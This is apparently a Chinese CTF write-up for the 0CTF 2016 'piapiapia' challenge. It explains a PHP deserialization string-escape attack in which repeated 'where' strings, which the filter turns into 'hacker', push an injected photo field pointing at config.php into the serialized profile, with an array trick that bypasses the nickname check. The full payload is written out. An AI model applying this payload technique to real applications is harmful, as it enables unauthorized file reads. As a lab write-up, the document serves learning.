0%

[0CTF 2016]piapiapia

前言:

  这题收获还是蛮大的,从中再次了解了数组对strlen函数和preg_match() 函数的影响。也清晰了什么时候可以用上传文件漏洞。也第一次遇到了反序列化的闭合操作。还了解到了Seay源代码审计软件带来的便利。

0X01 解题思路

  1. 打开题目链接,我们可以看到一个登入页面。sql注入无果。
  2. 使用御剑或者其它扫描工具可以扫到/register.php(注册页面),当然我是看别人wp知道的。
  3. 进入/register.php后注册一个账号,然后去登入。登入成功后,看到一个上传个人信息的页面,可以上传照片。(经过测试没有文件上传漏洞)
  4. 根据大佬的wp可以知道有www.zip文件(buu有限制所以我就没扫了),接下来就是代码审计了。
  5. 我们拿到的源码里的文件不是很多,class.php里有一些重要的函数,update.php和profile.php我们比较熟悉了,一个上传文件,一个获取文件。最重要的是config.php,我们看到flag在里面。也就是说我们读到config.php就可以得到flag。
  6. 这里我使用了Seay来进行代码审计,发现了突破口就是profile.php文件下的file_get_contents函数。
  7. 上面还有个反序列化unserialize,感觉有戏,如果$profile[‘photo’]是config.php就可以读取到了,可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
    print_r(unserialize($profile));

    结果如下:
    Array
    (
    [phone] => 12345678901
    [email] => ss@q.com
    [nickname] => sea_sand
    [photo] => config.php
    )
    //可以看到反序列化之后,最后面upload这一部分就没了(也可以理解为闭合了),下面就是想办法把config.php塞进去了。
  8. 从数组顺序上看是和上面数组的顺序一样的,可以抓个包看下post顺序,那么最有可能的就是从nickname下手了。那么分析一下nickname这个变量。在设置了$profile之后,用update_profile()函数进行处理,ra然后又调用了filter函数:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);

    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
    }
    ------------------------------
    public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
    }
     有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则:
    1
    2
    3
    4
    5
    6
    7
    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');
    数组即可绕过:
    nickname[]=

    那么$profile就是这样了:
    $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
     后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?
  9. 数组绕过了第一个正则过滤之后,如果nickname最后面塞上”;}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了(where会被替换成hacker可以帮我们挤出一位):
    1
    2
    3
    nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

    $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
     在where被正则匹配换成hacker之后,正好满足长度,然后后面的”};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。
  10. 接着我们上传图片及信息,用brup抓包更改nickname为我们想要的值即可。
  11. 然后进入到profile中查看图片信息,把base64码解码即可得到我们的flag,大功告成!!!

参考链接:https://blog.csdn.net/zz_Caleb/article/details/96777110

0X02 补充知识

一、文件漏洞攻击成功的条件

一个“可疑”文件成功上传到后台后并不代表攻击就成功了。还必须满足一定的条件才能才能对后台造成攻击:

  • 首先上传的文件能够被Web容器解释执行(比如php被Apache容器执行),所以文件上传后所在的目录要是Web容器所覆盖到的路径;
  • 其次,用户能够从Web上访问这个文件,如果文件上传了,但用户无法通过Web访问,或者无法得到Web容器解释这个脚本,那么也不能称之为漏洞。
二、改变序列化字符串长度导致反序列化漏洞
  • unserialize()会忽略能够正常序列化的字符串后面的字符串。比如:
    1
    a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"aaaaaaaaaa@aaaaaaaaaa.aaaaaaaaaa";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}s:39:"upload/f47454d1d3644127f42070181a8b9afc";}
    反序列化会正常解析
    1
    a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"aaaaaaaaaa@aaaaaaaaaa.aaaaaaaaaa";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}
    而忽略了后面的s:39:"upload/f47454d1d3644127f42070181a8b9afc";}从而导致读取config.php
  • 可以利用这个规则构造字符串来闭合,如本题中filter()将where替换成hacker,就可以将这个成员的最后一个字符挤出去,重复34次就可以挤出34个字符,正好闭合改序列化字符串

-------------本文结束感谢您的阅读-------------